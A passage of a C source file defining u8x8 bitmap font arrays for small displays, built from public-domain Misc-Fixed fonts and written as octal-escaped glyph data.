\"\\3\\16\\14\\0\\374\\374\\0\\0\\0\\0\\0\\0\\17\\17\\10\\10\\10\\10\\14\\0\\374\\374\\60`\\60\\374\\374\\0\\17\\17\\0\\0\"\n  \"\\0\\17\\17\\0\\374\\374p\\300\\200\\374\\374\\0\\17\\17\\0\\0\\3\\17\\17\\0\\370\\374\\4\\4\\4\\374\\370\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\374\\374\\204\\204\\204\\374x\\0\\17\\17\\0\\0\\0\\0\\0\\0\\370\\374\\4\\4\\4\\374\\370\\0\\7\\17\\10\\14\"\n  \"\\14\\37\\27\\0\\374\\374\\304\\304\\304|\\70\\0\\17\\17\\0\\0\\3\\17\\14\\0\\70|DDD\\334\\230\\0\\6\\16\\10\\10\"\n  \"\\10\\17\\7\\0\\0\\4\\4\\374\\374\\4\\4\\0\\0\\0\\0\\17\\17\\0\\0\\0\\374\\374\\0\\0\\0\\374\\374\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0<\\374\\200\\0\\200\\374<\\0\\0\\1\\7\\16\\7\\1\\0\\0\\374\\374\\0\\0\\0\\374\\374\\0\\7\\17\\14\\7\"\n  \"\\14\\17\\7\\0\\14<\\360\\300\\360<\\14\\0\\14\\17\\3\\0\\3\\17\\14\\0\\0\\34|\\340\\340|\\34\\0\\0\\0\\0\\17\"\n  \"\\17\\0\\0\\0\\4\\4\\204\\304d<\\34\\0\\16\\17\\11\\10\\10\\10\\10\\0\\0\\374\\374\\4\\4\\4\\0\\0\\0\\37\\37\\20\"\n  \"\\20\\20\\0\\0\\34\\70`\\300\\200\\0\\0\\0\\0\\0\\0\\0\\1\\7\\16\\0\\0\\4\\4\\4\\374\\374\\0\\0\\0\\20\\20\\20\"\n  \"\\37\\37\\0\\0 \\60\\30\\14\\30\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\0\\4\\14\\30\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\240\\240\\240\\240\\340\\300\\0\\7\\17\\10\\10\"\n  \"\\4\\17\\17\\0\\374\\374@  \\340\\300\\0\\17\\17\\4\\10\\10\\17\\7\\0\\300\\340`  `@\\0\\7\\17\\14\\10\"\n  \"\\10\\14\\4\\0\\300\\340  @\\374\\374\\0\\7\\17\\10\\10\\4\\17\\17\\0\\300\\340   \\340\\300\\0\\7\\17\\11\\11\"\n  \"\\11\\15\\5\\0\\200\\370\\374\\204\\204\\214\\10\\0\\0\\17\\17\\0\\0\\0\\0\\0\\300\\340  \\340\\340 \\0\\25\\77..\"\n  \"+\\71\\20\\0\\374\\374@  \\340\\300\\0\\17\\17\\0\\0\\0\\17\\17\\0\\0\\0@\\330\\330\\0\\0\\0\\0\\0\\10\\17\"\n  \"\\17\\10\\0\\0\\0\\0\\0\\0@\\330\\330\\0\\30\\70   \\77\\37\\0\\374\\374\\200\\300` \\0\\0\\17\\17\\1\\3\"\n  \"\\6\\14\\10\\0\\0\\0\\4\\374\\374\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\300\\340`\\300`\\340\\300\\0\\17\\17\\0\\1\"\n  \"\\0\\17\\17\\0\\340\\340@  \\340\\300\\0\\17\\17\\0\\0\\0\\17\\17\\0\\300\\340   \\340\\300\\0\\7\\17\\10\\10\"\n  \"\\10\\17\\7\\0\\340\\340@  \\340\\300\\0\\77\\77\\4\\10\\10\\17\\7\\0\\300\\340  @\\340\\340\\0\\7\\17\\10\\10\"\n  \"\\4\\77\\77\\0\\340\\340@  `@\\0\\17\\17\\0\\0\\0\\0\\0\\0@\\340\\240  `@\\0\\4\\14\\11\\11\"\n  \"\\13\\16\\4\\0@\\374\\374@@@\\0\\0\\0\\7\\17\\10\\10\\14\\4\\0\\340\\340\\0\\0\\0\\340\\340\\0\\7\\17\\10\\10\"\n  \"\\4\\17\\17\\0\\340\\340\\0\\0\\0\\340\\340\\0\\1\\7\\16\\10\\16\\7\\1\\0\\340\\340\\0\\0\\0\\340\\340\\0\\7\\17\\14\\7\"\n  \"\\14\\17\\7\\0`\\340\\200\\0\\200\\340`\\0\\14\\16\\3\\1\\3\\16\\14\\0\\340\\340\\0\\0\\0\\340\\340\\0\\23\\67$$\"\n  \"\\42\\77\\37\\0   \\240\\340` \\0\\14\\16\\13\\11\\10\\10\\10\\0\\0\\200\\270\\374D\\4\\4\\0\\0\\0\\16\\37\"\n  \"\\21\\20\\20\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\0\\0\\4\\4D\\374\\270\\200\\0\\0\\20\\20\\21\"\n  \"\\37\\16\\0\\0\\60\\30\\30\\70\\60\\60\\30\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -Misc-Fixed-Bold-R-Normal--13-120-75-75-C-80-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 18/1141\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_8x13B_1x2_n[436] U8X8_FONT_SECTION(\"u8x8_font_8x13B_1x2_n\") = \n  \" :\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\200\\200\\340\\200\\200\\200\\0\\0\\14\\7\\3\\7\\14\\0\\0\\0\\200\\200\\340\\340\\200\\200\\0\\0\\1\\1\\7\"\n  \"\\7\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\42>\\36\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\34\\10\\0\\0\\0\\0\\0\\200\\300p\\70\\0\\34\\16\\3\\1\"\n  \"\\0\\0\\0\\0\\340\\360\\30\\10\\30\\360\\340\\0\\7\\17\\30\\20\\30\\17\\7\\0\\0 \\60\\370\\370\\0\\0\\0\\0\\20\\20\\37\"\n  \"\\37\\20\\20\\0\\60\\70\\10\\10\\210\\370p\\0\\30\\34\\26\\23\\21\\20\\20\\0\\10\\10\\210\\310\\350\\270\\30\\0\\10\\30\\20\\20\"\n  \"\\20\\37\\17\\0\\200\\300`\\60\\370\\370\\0\\0\\3\\3\\2\\2\\37\\37\\2\\0\\370\\370\\310HH\\310\\210\\0\\10\\30\\20\\20\"\n  \"\\20\\37\\17\\0\\340\\360\\230\\210\\210\\210\\0\\0\\17\\37\\31\\20\\20\\37\\17\\0\\10\\10\\10\\210\\310x\\70\\0\\0\\0\\36\\37\"\n  \"\\1\\0\\0\\0p\\370\\210\\210\\210\\370p\\0\\17\\37\\20\\20\\20\\37\\17\\0\\360\\370\\10\\10\\230\\370\\360\\0\\0\\21\\21\\21\"\n  \"\\31\\17\\7\\0\\0\\0@\\340\\340@\\0\\0\\0\\0\\10\\34\\34\\10\\0\";\n/*\n  Fontname: -Misc-Fixed-Medium-R-Normal--14-130-75-75-C-70-ISO10646-1\n  Copyright: Public domain font.  Share and enjoy.\n  Glyphs: 191/2576\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_7x14_1x2_f[3588] U8X8_FONT_SECTION(\"u8x8_font_7x14_1x2_f\") = \n  \" \\377\\1\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\33\\0\\0\\0\\0\\0\\0<\\0<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\370@\\370@\\0\\0\\0\\2\\37\"\n  \"\\2\\37\\2\\0\\0`\\220\\20\\370\\20`\\0\\0\\14\\20\\21\\77\\21\\16\\0\\0\\60HH\\360 \\30\\0\\0\\30\\4\\17\"\n  \"\\22\\22\\14\\0\\0\\0p\\210\\210p\\0\\0\\0\\16\\21\\21\\12\\14\\23\\0\\0\\0\\0\\0<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\60\\10\\4\\0\\0\\0\\0\\7\\30 @\\0\\0\\0\\4\\10\\60\\300\\0\\0\\0\\0@ \"\n  \"\\30\\7\\0\\0\\0\\0@\\200\\340\\200@\\0\\0\\0\\4\\2\\17\\2\\4\\0\\0\\0\\0\\0\\340\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\17\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0H\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\70\\20\\0\\0\\0\\0\\0\\0\\300\\60\\14\\0\\0`\\30\\6\"\n  \"\\1\\0\\0\\0\\0\\340\\20\\10\\10\\20\\340\\0\\0\\7\\10\\20\\20\\10\\7\\0\\0\\0 \\20\\370\\0\\0\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\60\\10\\10\\10\\210p\\0\\0\\20\\30\\24\\22\\21\\20\\0\\0\\10\\10\\210\\310\\250\\30\\0\\0\\14\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\0\\200`\\20\\370\\0\\0\\0\\6\\5\\4\\4\\37\\4\\0\\0\\370HHHH\\210\\0\\0\\14\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\340\\20\\210\\210\\210\\0\\0\\0\\17\\21\\20\\20\\20\\17\\0\\0\\10\\10\\10\\210h\\30\\0\\0\\0\\30\\6\"\n  \"\\1\\0\\0\\0\\0\\60H\\210\\210H\\60\\0\\0\\16\\21\\20\\20\\21\\16\\0\\0\\360\\10\\10\\10\\210\\360\\0\\0\\14\\21\\21\"\n  \"\\21\\10\\7\\0\\0\\0\\0@\\340@\\0\\0\\0\\0\\0\\10\\34\\10\\0\\0\\0\\0\\0\\300\\300\\0\\0\\0\\0\\0\\0$\"\n  \"\\34\\0\\0\\0\\0\\0\\0\\200@ \\20\\0\\0\\0\\1\\2\\4\\10\\20\\0\\0@@@@@@\\0\\0\\2\\2\\2\"\n  \"\\2\\2\\2\\0\\0\\0\\20 @\\200\\0\\0\\0\\0\\20\\10\\4\\2\\1\\0\\0\\60\\10\\10\\210H\\60\\0\\0\\0\\0\\0\"\n  \"\\33\\0\\0\\0\\0\\340\\20\\310((\\360\\0\\0\\7\\10\\23\\24\\24\\27\\0\\0\\340\\20\\10\\10\\20\\340\\0\\0\\37\\1\\1\"\n  \"\\1\\1\\37\\0\\0\\370\\210\\210\\210P \\0\\0\\37\\20\\20\\20\\11\\6\\0\\0\\360\\10\\10\\10\\10\\60\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\14\\0\\0\\370\\10\\10\\10\\20\\340\\0\\0\\37\\20\\20\\20\\10\\7\\0\\0\\370\\210\\210\\210\\10\\10\\0\\0\\37\\20\\20\"\n  \"\\20\\20\\20\\0\\0\\370\\210\\210\\210\\10\\10\\0\\0\\37\\0\\0\\0\\0\\0\\0\\0\\360\\10\\10\\10\\10\\60\\0\\0\\17\\20\\20\"\n  \"\\21\\11\\37\\0\\0\\370\\200\\200\\200\\200\\370\\0\\0\\37\\0\\0\\0\\0\\37\\0\\0\\0\\10\\10\\370\\10\\10\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\0\\0\\0\\10\\370\\10\\0\\0\\14\\20\\20\\20\\17\\0\\0\\0\\370\\200@ \\20\\10\\0\\0\\37\\0\\1\"\n  \"\\2\\4\\30\\0\\0\\370\\0\\0\\0\\0\\0\\0\\0\\37\\20\\20\\20\\20\\20\\0\\0\\370\\60\\300\\300\\60\\370\\0\\0\\37\\0\\0\"\n  \"\\0\\0\\37\\0\\0\\370`\\200\\0\\0\\370\\0\\0\\37\\0\\0\\1\\6\\37\\0\\0\\360\\10\\10\\10\\10\\360\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\370\\10\\10\\10\\10\\360\\0\\0\\37\\1\\1\\1\\1\\0\\0\\0\\360\\10\\10\\10\\10\\360\\0\\0\\17\\22\\22\"\n  \"\\24\\70O\\0\\0\\370\\10\\10\\10\\10\\360\\0\\0\\37\\1\\1\\3\\5\\30\\0\\0p\\210\\210\\10\\10\\60\\0\\0\\14\\20\\20\"\n  \"\\21\\21\\16\\0\\0\\10\\10\\10\\370\\10\\10\\10\\0\\0\\0\\0\\37\\0\\0\\0\\0\\370\\0\\0\\0\\0\\370\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0x\\200\\0\\0\\200x\\0\\0\\0\\3\\34\\34\\3\\0\\0\\0\\0\\370\\0\\0\\0\\370\\0\\0\\0\\17\\20\"\n  \"\\16\\20\\17\\0\\0\\30`\\200\\200`\\30\\0\\0\\30\\6\\1\\1\\6\\30\\0\\0\\0\\70\\300\\0\\300\\70\\0\\0\\0\\0\\0\"\n  \"\\37\\0\\0\\0\\0\\10\\10\\10\\310(\\30\\0\\0\\30\\26\\21\\20\\20\\20\\0\\0\\0\\0\\374\\4\\4\\4\\0\\0\\0\\0\\177\"\n  \"@@@\\0\\0\\14\\60\\300\\0\\0\\0\\0\\0\\0\\0\\1\\6\\30`\\0\\0\\0\\4\\4\\4\\374\\0\\0\\0\\0@@\"\n  \"@\\177\\0\\0\\0\\20\\10\\4\\4\\10\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@@@\"\n  \"@@@\\0\\0\\0\\0\\4\\10\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200@@@@\\200\\0\\0\\14\\22\\22\"\n  \"\\22\\22\\37\\0\\0\\370\\200@@@\\200\\0\\0\\37\\10\\20\\20\\20\\17\\0\\0\\200@@@@\\200\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\10\\0\\0\\200@@@\\200\\370\\0\\0\\17\\20\\20\\20\\10\\37\\0\\0\\200@@@@\\200\\0\\0\\17\\22\\22\"\n  \"\\22\\22\\13\\0\\0\\200\\200\\360\\210\\210\\20\\0\\0\\0\\0\\37\\0\\0\\0\\0\\0\\200@@@\\200@\\0\\0\\63LT\"\n  \"TS \\0\\0\\370\\200@@@\\200\\0\\0\\37\\0\\0\\0\\0\\37\\0\\0\\0\\0@\\330\\0\\0\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\0\\0\\0\\0@\\330\\0\\0\\0\\60@@@\\77\\0\\0\\370\\0\\0\\200@\\0\\0\\0\\37\\2\\3\"\n  \"\\4\\10\\20\\0\\0\\0\\0\\10\\370\\0\\0\\0\\0\\0\\20\\20\\37\\20\\20\\0\\0\\0\\300@\\200@\\200\\0\\0\\0\\37\\0\"\n  \"\\17\\0\\37\\0\\0\\300\\200@@@\\200\\0\\0\\37\\0\\0\\0\\0\\37\\0\\0\\200@@@@\\200\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\300\\200@@@\\200\\0\\0\\177\\10\\20\\20\\20\\17\\0\\0\\200@@@\\200\\300\\0\\0\\17\\20\\20\"\n  \"\\20\\10\\177\\0\\0\\300\\200@@@\\200\\0\\0\\37\\0\\0\\0\\0\\1\\0\\0\\200@@@@\\200\\0\\0\\10\\21\\22\"\n  \"\\22\\24\\10\\0\\0@@\\370@@\\0\\0\\0\\0\\0\\17\\20\\20\\10\\0\\0\\300\\0\\0\\0\\0\\300\\0\\0\\17\\20\\20\"\n  \"\\20\\10\\37\\0\\0\\0\\300\\0\\0\\0\\300\\0\\0\\0\\1\\6\\30\\6\\1\\0\\0\\0\\300\\0\\0\\0\\300\\0\\0\\0\\17\\20\"\n  \"\\17\\20\\17\\0\\0\\300\\0\\0\\0\\0\\300\\0\\0\\30\\5\\2\\2\\5\\30\\0\\0\\300\\0\\0\\0\\0\\300\\0\\0'HH\"\n  \"HD\\77\\0\\0@@@@\\300@\\0\\0\\20\\30\\26\\21\\20\\20\\0\\0\\0\\0\\0\\370\\4\\4\\0\\0\\0\\0\\1\"\n  \">@@\\0\\0\\0\\0\\0\\374\\0\\0\\0\\0\\0\\0\\0\\177\\0\\0\\0\\0\\0\\4\\4\\370\\0\\0\\0\\0\\0@@\"\n  \">\\1\\0\\0\\0\\30\\4\\10\\20 \\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\330\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\0\\0\\0\\0\\200@\\340@@\\200\\0\\0\\17\\20\\77\\20\\20\\10\\0\\0\\0\\0\\340\\20\\20 \\0\\0\\0\\11\\37\"\n  \"\\11\\11\\20\\0\\0 \\300@@\\300 \\0\\0\\4\\3\\2\\2\\3\\4\\0\\0\\0\\210\\260\\300\\260\\210\\0\\0\\0\\2\\2\"\n  \"\\37\\2\\2\\0\\0\\0\\0\\0x\\0\\0\\0\\0\\0\\0\\0\\36\\0\\0\\0\\0\\210T$$D\\210\\0\\0\\10\\21\\22\"\n  \"\\22\\25\\10\\0\\0\\0\\14\\0\\0\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\344\\24\\24$\\370\\0\\0\\17\\23\\24\"\n  \"\\24\\22\\17\\0\\0\\0h\\224\\224T\\370\\0\\0\\0\\2\\2\\2\\2\\2\\0\\0\\0\\0\\200@\\200@\\0\\0\\2\\5\\12\"\n  \"\\25\\10\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\370\\364\\224\\224d\\370\\0\\0\\17\\27\\20\\20\\27\\17\\0\\0\\0\\10\\10\\10\\10\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30$$\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\22\\22\"\n  \"\\37\\22\\22\\0\\0\\0\\210D$\\30\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\210$$\\330\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\20\\10\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\200\\0\\0\\0\\177\\10\"\n  \"\\20\\10\\37\\0\\0\\0\\360\\10\\370\\10\\370\\0\\0\\0\\0\\1\\177@\\177\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0@\\60\\0\\0\\0\\0\\0\\0\\10\\374\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\60HH\\60\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0@\\200@\\200\\0\\0\\0\\0\\20\\10\\25\"\n  \"\\12\\5\\2\\0\\0\\20\\370\\0\\200`\\20\\0\\0\\30\\4\\3\\14\\12\\37\\0\\0\\20\\370\\0\\200`\\20\\0\\0\\30\\4\\3\"\n  \"\\22\\31\\26\\0\\0\\210\\250P\\300 \\30\\0\\0\\10\\6\\1\\14\\12\\37\\0\\0\\0\\0\\260\\0\\0\\0\\0\\0\\60HG\"\n  \"@@\\60\\0\\0\\300 \\22\\24 \\300\\0\\0\\37\\1\\1\\1\\1\\37\\0\\0\\300 \\24\\22 \\300\\0\\0\\37\\1\\1\"\n  \"\\1\\1\\37\\0\\0\\300$\\22\\22$\\300\\0\\0\\37\\1\\1\\1\\1\\37\\0\\0\\304\\42\\22\\24$\\302\\0\\0\\37\\1\\1\"\n  \"\\1\\1\\37\\0\\0\\300$\\20\\20$\\300\\0\\0\\37\\1\\1\\1\\1\\37\\0\\0\\300(\\24\\24(\\300\\0\\0\\37\\1\\1\"\n  \"\\1\\1\\37\\0\\0\\340\\220\\210\\370\\210\\210\\0\\0\\37\\0\\0\\37\\20\\20\\0\\0\\360\\10\\10\\10\\10\\60\\0\\0\\17\\20P\"\n  \"\\60\\20\\14\\0\\0\\360\\20\\22\\24\\20\\20\\0\\0\\37\\21\\21\\21\\21\\20\\0\\0\\360\\20\\24\\22\\20\\20\\0\\0\\37\\21\\21\"\n  \"\\21\\21\\20\\0\\0\\360\\24\\22\\22\\24\\20\\0\\0\\37\\21\\21\\21\\21\\20\\0\\0\\360\\24\\20\\20\\24\\20\\0\\0\\37\\21\\21\"\n  \"\\21\\21\\20\\0\\0\\0\\20\\22\\364\\20\\20\\0\\0\\0\\20\\20\\37\\20\\20\\0\\0\\0\\20\\20\\364\\22\\20\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\0\\20\\24\\362\\24\\20\\0\\0\\0\\20\\20\\37\\20\\20\\0\\0\\0\\20\\24\\360\\24\\20\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\200\\370\\210\\210\\10\\20\\340\\0\\0\\37\\20\\20\\20\\10\\7\\0\\364\\62\\302\\4\\4\\362\\0\\0\\37\\0\\0\"\n  \"\\7\\30\\37\\0\\0\\340\\20\\22\\24\\20\\340\\0\\0\\17\\20\\20\\20\\20\\17\\0\\0\\340\\20\\24\\22\\20\\340\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\340\\24\\22\\22\\24\\340\\0\\0\\17\\20\\20\\20\\20\\17\\0\\0\\344\\22\\22\\24\\24\\342\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\340\\24\\20\\20\\24\\340\\0\\0\\17\\20\\20\\20\\20\\17\\0\\0@\\200\\0\\0\\0\\200@\\0\\20\\10\\5\"\n  \"\\2\\5\\10\\20\\0\\360\\10\\10\\350\\30\\366\\0\\0o\\30\\27\\20\\20\\17\\0\\0\\360\\0\\2\\4\\0\\360\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\360\\0\\4\\2\\0\\360\\0\\0\\17\\20\\20\\20\\20\\17\\0\\0\\360\\4\\2\\2\\4\\360\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\360\\4\\0\\0\\4\\360\\0\\0\\17\\20\\20\\20\\20\\17\\0\\0\\0\\60\\300\\4\\302\\60\\0\\0\\0\\0\\0\"\n  \"\\37\\0\\0\\0\\0\\370    \\300\\0\\0\\37\\4\\4\\4\\4\\3\\0\\0\\0\\360\\210\\210p\\0\\0\\0\\20\\37\\20\"\n  \"\\20\\21\\16\\0\\0\\200@HP@\\200\\0\\0\\14\\22\\22\\22\\22\\37\\0\\0\\200@@PH\\200\\0\\0\\14\\22\\22\"\n  \"\\22\\22\\37\\0\\0\\200PHHP\\200\\0\\0\\14\\22\\22\\22\\22\\37\\0\\0\\220HHPP\\210\\0\\0\\14\\22\\22\"\n  \"\\22\\22\\37\\0\\0\\200P@@P\\200\\0\\0\\14\\22\\22\\22\\22\\37\\0\\0\\200HTTH\\200\\0\\0\\14\\22\\22\"\n  \"\\22\\22\\37\\0\\0\\200@@\\300@@\\200\\0\\14\\22\\21\\37\\22\\22\\13\\0\\200@@@@\\200\\0\\0\\17\\20P\"\n  \"\\60\\20\\10\\0\\0\\200@HP@\\200\\0\\0\\17\\22\\22\\22\\22\\13\\0\\0\\200@PH@\\200\\0\\0\\17\\22\\22\"\n  \"\\22\\22\\13\\0\\0\\200PHHP\\200\\0\\0\\17\\22\\22\\22\\22\\13\\0\\0\\200P@@P\\200\\0\\0\\17\\22\\22\"\n  \"\\22\\22\\13\\0\\0\\0\\0H\\320\\0\\0\\0\\0\\0\\20\\20\\37\\20\\20\\0\\0\\0\\0@\\320\\10\\0\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\0\\20H\\310\\20\\0\\0\\0\\0\\20\\20\\37\\20\\20\\0\\0\\0\\0P\\300\\20\\0\\0\\0\\0\\20\\20\"\n  \"\\37\\20\\20\\0\\0\\0\\200THT\\340\\0\\0\\0\\17\\20\\20\\20\\17\\0\\0\\320\\210HPP\\210\\0\\0\\37\\0\\0\"\n  \"\\0\\0\\37\\0\\0\\200@HP@\\200\\0\\0\\17\\20\\20\\20\\20\\17\\0\\0\\200@PH@\\200\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\200PHHP\\200\\0\\0\\17\\20\\20\\20\\20\\17\\0\\0\\220HHPP\\210\\0\\0\\17\\20\\20\"\n  \"\\20\\20\\17\\0\\0\\200P@@P\\200\\0\\0\\17\\20\\20\\20\\20\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\25\"\n  \"\\25\\4\\4\\0\\0\\200@@\\300`\\220\\0\\0o\\30\\26\\21\\20\\17\\0\\0\\300\\0\\10\\20\\0\\300\\0\\0\\17\\20\\20\"\n  \"\\20\\10\\37\\0\\0\\300\\0\\20\\10\\0\\300\\0\\0\\17\\20\\20\\20\\10\\37\\0\\0\\300\\20\\10\\10\\20\\300\\0\\0\\17\\20\\20\"\n  \"\\20\\10\\37\\0\\0\\300\\20\\0\\0\\20\\300\\0\\0\\17\\20\\20\\20\\10\\37\\0\\0\\300\\0\\20\\10\\0\\300\\0\\0 CL\"\n  